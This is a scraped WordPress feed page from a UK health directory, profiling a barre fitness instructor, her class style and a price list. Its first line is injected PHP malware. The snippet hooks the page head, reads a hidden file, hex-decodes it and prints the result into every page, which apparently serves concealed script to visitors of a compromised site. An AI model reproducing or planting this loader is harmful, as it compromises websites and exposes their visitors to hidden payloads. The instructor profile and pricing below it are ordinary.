if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } } Barre Exercises Archives - Healthia https://healthia.co.uk/health-professional-tag/barre-exercises/ Wed, 02 Nov 2016 21:22:12 +0000 en-GB hourly 1 https://wordpress.org/?v=6.5.3 Esther Kufrin https://healthia.co.uk/health-professional/personal-trainer-in-kensington-and-chelsea/esther-kufrin/ Sun, 31 Jul 2016 11:47:33 +0000 http://healthia.co.uk/?post_type=health-professional&p=1670 While working as an attorney at law in New York, Esther tried her first barre class, which ultimately led the path for a new career: From one “bar” to another “barre”. She became increasingly interested in barre exercise, tried different barre variations and brands all over the US and became an instructor in Chicago. When […]

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]]> While working as an attorney at law in New York, Esther tried her first barre class, which ultimately led the path for a new career: From one “bar” to another “barre”. She became increasingly interested in barre exercise, tried different barre variations and brands all over the US and became an instructor in Chicago. When Esther moved to London with her husband, there was no way she was going to give up her teaching and her passion for the barre. She quickly realized that no similar method existed in London and saw the unique opportunity to start her own business by creating BARREtoned.

 

“When I am not juggling family life with my husband and our little son with our busy studio, you’ll find me at the barre, that’s my ME TIME. I love challenging our clients to stay in thigh. Knee dancing and high wide diamond waterski are my favourites. My husband and I are foodies, we even went as far as making our own wine so I enjoy gourmet cooking or going out to eat in my free time.”

 

Esther’s class will hurt so good…

 

Session description:

BARREtoned is a targeted, full-body workout performed at the ballet barre creating long lean muscles and improved posture. Interval training at the barre and on the mat uses small, controlled movements and your own body weight to work every major muscle group. Active stretching to increase flexibility and elongate muscles follows each exercise.

 

Originally based on the Lotte Berk Method, barre exercise classes are immensely popular in the U.S. and are gaining worldwide attention because they rapidly produce visibly toned muscles while increasing your body’s ability to burn fat. Signature results include sculpted arms, flat abs, defined thighs, and a lifted seat. BARREtoned, in consultation with a physical therapist, has created an updated and safe fitness method, combining the benefits of personal training and the community and support of a group class.

 

Years experience:

4 years

 

Pricing:

  • Buy One Get One Free (New Client Special) Expiration Date: 01/11/2017 £28.00
  • 30 Day Unlimited (New Client Special) Expiration Date: 30 days from first use £150.00
  • Single Class £28.00
  • 5 Class Pack Expiration Date: 02/02/2017 £135.00
  • 5 Class Pack (valid 1 month) Expiration Date: 1 month from first use £100.00
  • 10 Class Pack Expiration Date: 02/02/2017 £250.00
  • 10 Class Pack (valid 1 month) Expiration Date: 1 month from first use £175.00
  • 20 Class Pack Expiration Date: 02/05/2017 £420.00
  • 30 Class Pack Expiration Date: 01/11/2017 £600.00

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